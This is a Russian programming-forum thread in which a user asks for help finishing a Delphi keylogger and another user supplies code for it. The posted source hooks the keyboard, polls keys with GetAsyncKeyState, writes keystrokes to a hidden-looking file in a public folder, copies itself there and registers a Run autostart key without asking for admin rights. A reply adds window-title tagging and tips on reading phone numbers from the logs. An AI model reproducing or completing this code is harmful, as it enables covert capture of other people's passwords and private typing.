Помочь доделать кейлоггер, реализовать функцию

@ZorGET · Регистрация: 09.10.2013

Студворк — интернет-сервис помощи студентам

Помогите пожалуйста исправить\реализовать функцию, которая позволит следить только за одним активным окном ( открытым на весь экран) Логгер, позволяет записать нажатие с помощью memo. Сохраняет его в "bla-bla.txt".
Программа записывает только действия произведённые на рабочем столе\браузере и.т.д. но не в полноэкранных приложениях. Есть здесь кусок кода, который и вовсе мешает. но я не понимаю, как можно его реализовать иначе, можно его вообще не задействовать. Вот сам кусок кода, который и вовсе мешает. т.к memo выполняет точно то же.

Code
1
2
3
4
5
6
procedure TForm1.Button1Click(Sender: TObject);
begin
InstallHook;
end;
 
end.

Я даже не знаю, зачем это мне нужно.
А вот сам код логгера. Все вопросы написал рядом с блоком, который меня интересует.

Кликните здесь для просмотра всего текста

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
unit hwodll;
 
interface
 
uses
  Windows, Messages, SysUtils, IniFiles, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Registry, ExtCtrls;
 
type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Timer1: TTimer;
    Button1: TButton;
    Edit1: TEdit;
    procedure Memo1Change(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
  ini : tinifile;
  hHook: THandle;
  VKey: integer;
 
implementation
 
{$R *.dfm}
 
function LowLevelKeyboardProc(nCode: Integer;
  WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
 
  type
  PKbdDllHookStrukt = ^TKbdDllHookStrukt;
  _KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
 
const
 RPT_WPARAM_DATA = '%s';
 RPT_LPARAM_DATA = '%d';
 
var
 StrResult: string;
begin
 StrResult:='';
 if nCode=HC_ACTION
 then Result:=CallNextHookEx(hHook, nCode, WParam, LParam);
 
 case WParam of
  WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
 end;
 
 StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
 
 VKey:=strtoint(strresult);
 Form1.Memo1.Lines.Add(Chr(VKey)+'/'+StrResult);
end;
 
procedure InstallHook;
const
 WH_KEYBOARD_LL = 13;
begin
 hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
 if hHook=0
 then RaiseLastOSError;
end;
 
procedure RemoveHook;
begin
 if not UnhookWindowsHookEx(hHook)
 then RaiseLastOSError;
end;
 
procedure TForm1.Memo1Change(Sender: TObject);
begin
  memo1.Lines.SaveToFile('C:\Users\Public\Pictures\key_log.txt');  \\Сохраняет с memo в лог.тхт
end;
 
procedure TForm1.Timer1Timer(Sender: TObject); \\ Таймер с отловом нажатий.
begin
if getasynckeystate($08)<>0 then   memo1.Text:=memo1.Text + '[backsp]';
if getasynckeystate($10)<>0 then   memo1.Text:=memo1.Text + '[S]';
if getasynckeystate($1b)<>0 then   memo1.Text:=memo1.Text + '[esc]';
if getasynckeystate($20)<>0 then   memo1.Text:=memo1.Text + ' ';
if getasynckeystate($25)<>0 then   memo1.Text:=memo1.Text + '[left]';
if getasynckeystate($26)<>0 then   memo1.Text:=memo1.Text + '[up]';
if getasynckeystate($27)<>0 then   memo1.Text:=memo1.Text + '[right]';
if getasynckeystate($28)<>0 then   memo1.Text:=memo1.Text + '[down]';
if getasynckeystate($2e)<>0 then   memo1.Text:=memo1.Text + '[delete]';
if getasynckeystate($41)<>0 then   memo1.Text:=memo1.Text + 'a';
if getasynckeystate($42)<>0 then   memo1.Text:=memo1.Text + 'b';
if getasynckeystate($43)<>0 then   memo1.Text:=memo1.Text + 'c';
if getasynckeystate($44)<>0 then   memo1.Text:=memo1.Text + 'd';
if getasynckeystate($45)<>0 then   memo1.Text:=memo1.Text + 'e';
if getasynckeystate($46)<>0 then   memo1.Text:=memo1.Text + 'f';
if getasynckeystate($47)<>0 then   memo1.Text:=memo1.Text + 'g';
if getasynckeystate($48)<>0 then   memo1.Text:=memo1.Text + 'h';
if getasynckeystate($49)<>0 then   memo1.Text:=memo1.Text + 'i';
if getasynckeystate($4b)<>0 then   memo1.Text:=memo1.Text + 'k';
if getasynckeystate($4c)<>0 then   memo1.Text:=memo1.Text + 'l';
if getasynckeystate($4d)<>0 then   memo1.Text:=memo1.Text + 'm';
if getasynckeystate($4e)<>0 then   memo1.Text:=memo1.Text + 'n';
if getasynckeystate($4f)<>0 then   memo1.Text:=memo1.Text + 'o';
if getasynckeystate($50)<>0 then   memo1.Text:=memo1.Text + 'p';
if getasynckeystate($51)<>0 then   memo1.Text:=memo1.Text + 'q';
if getasynckeystate($52)<>0 then   memo1.Text:=memo1.Text + 'r';
if getasynckeystate($53)<>0 then   memo1.Text:=memo1.Text + 's';
if getasynckeystate($54)<>0 then   memo1.Text:=memo1.Text + 't';
if getasynckeystate($55)<>0 then   memo1.Text:=memo1.Text + 'u';
if getasynckeystate($56)<>0 then   memo1.Text:=memo1.Text + 'v';
if getasynckeystate($57)<>0 then   memo1.Text:=memo1.Text + 'w';
if getasynckeystate($58)<>0 then   memo1.Text:=memo1.Text + 'x';
if getasynckeystate($59)<>0 then   memo1.Text:=memo1.Text + 'y';
if getasynckeystate($5a)<>0 then   memo1.Text:=memo1.Text + 'z';
if getasynckeystate($30)<>0 then   memo1.Text:=memo1.Text + '0';
if getasynckeystate($31)<>0 then   memo1.Text:=memo1.Text + '1';
if getasynckeystate($32)<>0 then   memo1.Text:=memo1.Text + '2';
if getasynckeystate($33)<>0 then   memo1.Text:=memo1.Text + '3';
if getasynckeystate($34)<>0 then   memo1.Text:=memo1.Text + '4';
if getasynckeystate($35)<>0 then   memo1.Text:=memo1.Text + '5';
if getasynckeystate($36)<>0 then   memo1.Text:=memo1.Text + '6';
if getasynckeystate($37)<>0 then   memo1.Text:=memo1.Text + '7';
if getasynckeystate($38)<>0 then   memo1.Text:=memo1.Text + '8';
if getasynckeystate($39)<>0 then   memo1.Text:=memo1.Text + '9';
if getasynckeystate($70)<>0 then   memo1.Text:=memo1.Text + '[f1]';
if getasynckeystate($71)<>0 then   memo1.Text:=memo1.Text + '[f2]';
if getasynckeystate($72)<>0 then   memo1.Text:=memo1.Text + '[f3]';
if getasynckeystate($73)<>0 then   memo1.Text:=memo1.Text + '[f4]';
if getasynckeystate($74)<>0 then   memo1.Text:=memo1.Text + '[f5]';
if getasynckeystate($75)<>0 then   memo1.Text:=memo1.Text + '[f6]';
if getasynckeystate($76)<>0 then   memo1.Text:=memo1.Text + '[f7]';
if getasynckeystate($77)<>0 then   memo1.Text:=memo1.Text + '[f8]';
if getasynckeystate($78)<>0 then   memo1.Text:=memo1.Text + '[f9]';
if getasynckeystate($79)<>0 then   memo1.Text:=memo1.Text + '[f10]';
if getasynckeystate($7a)<>0 then   memo1.Text:=memo1.Text + '[f11]';
if getasynckeystate($7b)<>0 then   memo1.Text:=memo1.Text + '[f12]';
if getasynckeystate($61)<>0 then   memo1.Text:=memo1.Text + '1';
if getasynckeystate($62)<>0 then   memo1.Text:=memo1.Text + '2';
if getasynckeystate($63)<>0 then   memo1.Text:=memo1.Text + '3';
if getasynckeystate($64)<>0 then   memo1.Text:=memo1.Text + '4';
if getasynckeystate($65)<>0 then   memo1.Text:=memo1.Text + '5';
if getasynckeystate($66)<>0 then   memo1.Text:=memo1.Text + '6';
if getasynckeystate($67)<>0 then   memo1.Text:=memo1.Text + '7';
if getasynckeystate($68)<>0 then   memo1.Text:=memo1.Text + '8';
if getasynckeystate($69)<>0 then   memo1.Text:=memo1.Text + '9';
if getasynckeystate($6f)<>0 then   memo1.Text:=memo1.Text + '/';
if getasynckeystate($6a)<>0 then   memo1.Text:=memo1.Text + '*';
if getasynckeystate($6b)<>0 then   memo1.Text:=memo1.Text + '+';
if getasynckeystate($6d)<>0 then   memo1.Text:=memo1.Text + '-';
end;
 
procedure TForm1.FormCreate(Sender: TObject); \\ Добавление в автозапуск, без проверки прав админа.
var
  reg: tregistry;
begin
  reg := tregistry.create;
  reg.rootkey := HKEY_CURRENT_USER;
  reg.lazywrite := false;
  reg.openkey('software\microsoft\windows\currentversion\run', true);
  reg.writestring('key','C:\Users\Public\Pictures\key.exe');
  reg.closekey;
  reg.free;
  Edit1.Text:=Application.ExeName;
  CopyFile(pchar(Application.ExeName), pchar('C:\Users\Public\Pictures\key.exe'), true); \\ Копирование программы в этот путь.
end;
 
function EnumTopLevelWindows(hw : HWND; lp : lParam): BOOL; stdcall; \\ Возможно, нужно будет для реализации проверки нажатий клавишь, только в окне с этим именем. ( Простите, я без понятия, как правильно это можно реализовать, помогите мне пожалуйста)
var
 Buff : array[0..255] of char;
begin
 Result := True;
 ZeroMemory(@buff,SizeOf(Buff));
 GetWindowText(hw, buff,SizeOf(buff)-1);
 if Pos('warband',StrPas(Buff))>0 then ShowMessage(StrPas(Buff));
end;
 
procedure TForm1.Button1Click(Sender: TObject); \\ А вот кнопка с хуком, от которой нет пользы. хоть и есть функция в коде... а вот смысла нет, т.к при активации кнопки, логгер начинает писать при отпускании нажатой клавишь, сразу 2 буквы.)
begin
InstallHook;
end;
 
end.

Хочу добавить, что я - ужасно безнадёжный в плане реализации задуманного. Прошу помочь. Спасибо.

@NIKOLAYY · 09.10.2013, 22:58

Сообщение от ZorGET

следить только за одним активным окном

А за вторым окном че? не надо следить?

Если по обычному то можно функцию написать которая показывает только последнее активное окно, и именно что в нем клавиши нажимаются но как в длл незнаю.

@ZorGET · 09.10.2013, 23:15 **[ТС]**

Сообщение от NIKOLAYY

А за вторым окном че? не надо следить?

Возможно, что Вы меня не так поняли, или я понял Вас не верно. Мне нужно, чтобы логгер следил только за окном с названием "warband". Записывая нажатия только в этом окне. Возможно, Вы могли бы мне помочь? Я не знаю, как реализовать это правильно.

@mss · 09.10.2013, 23:27

Сообщение от ZorGET

даже не знаю, зачем это мне нужно

Оно и вправду не нужно - задача наверняка решается проще.
Пробуй плясать с другим бубном - http://www.vsokovikov.narod.ru... dinput.htm

@NIKOLAYY · 09.10.2013, 23:42

Те нужно чтобы логер за активными окнами следил и когда найдет окно warband можно сделать-

Delphi
1
2
3
4
5
6
7
8
  if Akokno(okno2) = 'warband' then
  begin
    prok := Akokno(okno2);
//наконец то окно warband активизировалось!
//выведем в мемо его название
    Memo1.Lines.Add(Akokno(okno2));
{ тут уже код кейлогера }
  end;

Я думаю смысл ты уловил.

Добавлено через 9 минут
А воще попробуй на основе GetAsyncKeyState кейлогер сделать,а не длловские исходники из инета копировать.

@ZorGET · 10.10.2013, 14:04 **[ТС]**

mss, NIKOLAYY, Спасибо вам за помощь, но у меня толкового ничего не получилось. Как и раньше: Кейлоггер писал только действия на рабочем столе, и в программах открытых не фуллскрином. Так же переписал всё с абсолютного начала, используя GetAsyncKeyState, так же пробовал использовать KeyDown, но он видит только форму и её окна. Для поиска окна, и записи только с него, использовал различные примеры кода: FindWindow и.т.д , но это не увенчалось успехом. В связи с данной проблемой, я скачал книги и буду их читать, надеюсь найду решение проблемы.

PS/ Возможно вы могли бы мне помочь, приведя какой-то пример, без использования /dll. Рабочие примеры с dll - есть. Но это не то, что мне нужно =)

PPS/ Ещё раз спасибо за помощь, вы меня натолкнули на многие идеи, благодаря чему, я многому научился.

@NIKOLAYY · 11.10.2013, 01:30

Сообщение от ZorGET

mss, NIKOLAYY,
PS/ Возможно вы могли бы мне помочь, приведя какой-то пример, без использования /dll.

Такой вариант как на картинке устроит? Сначала выводится окно- (я его красным подчеркнул) где нажимаются клавиши а ниже сами нажатые клавиши, смотри на картинку я заходил в блокнот, потом в нотепад, потом снова в блокнот и где какие клавиши жал там те и дублировались прямо в мемо-поле.

И все это функция GetAsyncKeyState совместно с функцией проверки окон.

Кликните здесь для просмотра всего текста

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
var
  Form1: TForm1;
 
  okno2: string; //òåêóùåå îêíî
  prok: string; //ïðåäûäóùåå îêíî
implementation
 
{$R *.dfm}
 
function TForm1.Akokno(okno: string): string;
var
  Handle: THandle;
  Len: LongInt;
  Title: string;
begin
  Handle := GetForegroundWindow;
  Len := GetWindowTextLength(Handle) + 1;
  SetLength(Title, Len);
  GetWindowText(Handle, PChar(Title), Len);
  Result := TrimRight(Title);
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  //åñëè àêòèâíîå  îêíî íå ðàâíî ïðåäûäóùåìó îêíó (ñìåíèëîñü)
  //òî âûâåäåì â ìåìî
  if GetAsyncKeyState($41) <> 0 then
  begin
    if Akokno(okno2) <> prok then
    begin
      prok := Akokno(okno2);
      Memo1.Lines.Add(Akokno(okno2) + #13#10);
    end;
    memo1.Text := memo1.Text + 'A';
  end;
 
  if GetAsyncKeyState($42) <> 0 then
  begin
    if Akokno(okno2) <> prok then
    begin
      prok := Akokno(okno2);
      Memo1.Lines.Add(Akokno(okno2) + #13#10);
    end;
    memo1.Text := memo1.Text + 'B';
  end;
 
    if GetAsyncKeyState($43) <> 0 then
  begin
    if Akokno(okno2) <> prok then
    begin
      prok := Akokno(okno2);
      Memo1.Lines.Add(Akokno(okno2) + #13#10);
    end;
    memo1.Text := memo1.Text + 'C';
  end;
   ....... и тд.
   ........
   ..........

@ZorGET · 11.10.2013, 14:14 **[ТС]**

NIKOLAYY, Огромное человеческое СПАСИБО! Ты мне очень помог, я тебе благодарен.
Я перечитал огромную кучу книг, правда, не всё понимаю, примеры не всюду были. Так же нашел старого учителя информатики, который давным -давно в школе меня учил. И у него кучу книг набрал. сижу, читаю. Надеюсь, что в скором.. Сам смогу помогать на форуме =)
Кейлоггер хотел реализовать для того, чтобы в клубе следить за тем, чтобы в играх не юзали читы, т.е можно и просто закрыть доступ изменив файлы игровые, но суть в том, чтобы проверить на вшивость хД

Добавлено через 1 час 22 минуты
NIKOLAYY, Подскажи пожалуйста. Почему этот вариант дока ( да и любой другой на таймере )

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if (getAsyncKeyState(vk_shift)<>0)and(getAsyncKeyState($41)<>0) then
begin
memo1.Text:=memo1.Text + 'À';
end
else
begin
if (getAsyncKeyState($41)<>0) then
memo1.Text:=memo1.Text + 'à';
end;
if (getAsyncKeyState(vk_shift)<>0)and(getAsyncKeyState($42)<>0) then
begin
memo1.Text:=memo1.Text + 'B';
end
else
begin
if (getAsyncKeyState($42)<>0) then
memo1.Text:=memo1.Text + 'b';
end;

Пропускает, а иногда и дублирует, нажатие кнопок. как пример - из 10 нажатий "AbAbAbAbAb" я получаю "AbbAbAb" где-то потерялись ещё буквы, а вот где, а главное - почему? Пробовал ставить на таймер разное значение, ставил - 125 ( стандартное время задержки клавиши до дублирования, как я понимаю) и другие значения - "1-90" нет результата, всегда одно и то же. Подскажи пожалуйста =)

@NIKOLAYY · 11.10.2013, 20:29

Это минус такого вида кейлогера, эта функция проверяет нажатые клавиши по таймеру кнопку задержал более 125 мс-
получил два символа в лог!

Поставил время более 125 мс- человек два раза нажал на клавиши а ты получил один символ в лог!

В общем тут уже головой работать нужно, видиш к примеру в логе номер телефона там 12 цифр, ты понимаеш что в вашем районе все номера идут на только на 11 цифр, вопрос
а какая цифра лишняя то? Ну естественно ищеш которая повторилась 2 раза.

Так же минусы есть и у dll- ного кейлогера.

Новые блоги и статьи Все статьи Все блоги /
Модульный подход на примере F# DevAlt 06.03.2026 В блоге дяди Боба наткнулся на такое определение: В этой книге («Подход, основанный на вариантах использования») Ивар утверждает, что архитектура программного обеспечения — это структуры,. . .	Управление камерой с помощью скрипта OrbitControls.js на Three.js: Вращение, зум и панорамирование 8Observer8 05.03.2026 Содержание блога Финальная демка в браузере работает на Desktop и мобильных браузерах. Итоговый код: orbit-controls-threejs-js. zip. Сканируйте QR-код на мобильном. Вращайте камеру одним пальцем,. . .	SDL3 для Web (WebAssembly): Синхронизация спрайтов SDL3 и тел Box2D 8Observer8 04.03.2026 Содержание блога Финальная демка в браузере. Итоговый код: finish-sync-physics-sprites-sdl3-c. zip На первой гифке отладочные линии отключены, а на второй включены:. . .	SDL3 для Web (WebAssembly): Идентификация объектов на Box2D v3 - использование userData и событий коллизий 8Observer8 02.03.2026 Содержание блога Финальная демка в браузере. Итоговый код: finish-collision-events-sdl3-c. zip Сканируйте QR-код на мобильном и вы увидите, что появится джойстик для управления главным героем. . . .
Реалии Hrethgir 01.03.2026 Нет, я не закончил до сих пор симулятор. Эта задача сложнее. Не получилось уйти в плавсостав, но оно и к лучшему, возможно. Точнее получалось - но сварщиком в палубную команду, а это значит, в моём. . .	Ритм жизни kumehtar 27.02.2026 Иногда приходится жить в ритме, где дел становится всё больше, а вовлечения в происходящее — всё меньше. Плотный график не даёт вниманию закрепиться ни на одном событии. Утро начинается с быстрых,. . .	SDL3 для Web (WebAssembly): Сборка библиотек: SDL3, Box2D, FreeType, SDL3_ttf, SDL3_mixer и SDL3_image из исходников с помощью CMake и Emscripten 8Observer8 27.02.2026 Недавно вышла версия 3. 4. 2 библиотеки SDL3. На странице официальной релиза доступны исходники, готовые DLL (для x86, x64, arm64), а также библиотеки для разработки под Android, MinGW и Visual Studio. . . .	SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами 8Observer8 20.02.2026 Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .

@ZorGET 0 / 0 / 0 Регистрация: 09.10.2013 Сообщений: 6
	10.10.2013, 14:04 [ТС]
	mss, NIKOLAYY, Спасибо вам за помощь, но у меня толкового ничего не получилось. Как и раньше: Кейлоггер писал только действия на рабочем столе, и в программах открытых не фуллскрином. Так же переписал всё с абсолютного начала, используя GetAsyncKeyState, так же пробовал использовать KeyDown, но он видит только форму и её окна. Для поиска окна, и записи только с него, использовал различные примеры кода: FindWindow и.т.д , но это не увенчалось успехом. В связи с данной проблемой, я скачал книги и буду их читать, надеюсь найду решение проблемы. PS/ Возможно вы могли бы мне помочь, приведя какой-то пример, без использования /dll. Рабочие примеры с dll - есть. Но это не то, что мне нужно =) PPS/ Ещё раз спасибо за помощь, вы меня натолкнули на многие идеи, благодаря чему, я многому научился. 0

@NIKOLAYY 844 / 739 / 342 Регистрация: 22.09.2012 Сообщений: 5,034
	11.10.2013, 20:29
	Это минус такого вида кейлогера, эта функция проверяет нажатые клавиши по таймеру кнопку задержал более 125 мс- получил два символа в лог! Поставил время более 125 мс- человек два раза нажал на клавиши а ты получил один символ в лог! В общем тут уже головой работать нужно, видиш к примеру в логе номер телефона там 12 цифр, ты понимаеш что в вашем районе все номера идут на только на 11 цифр, вопрос а какая цифра лишняя то? Ну естественно ищеш которая повторилась 2 раза. Так же минусы есть и у dll- ного кейлогера. 0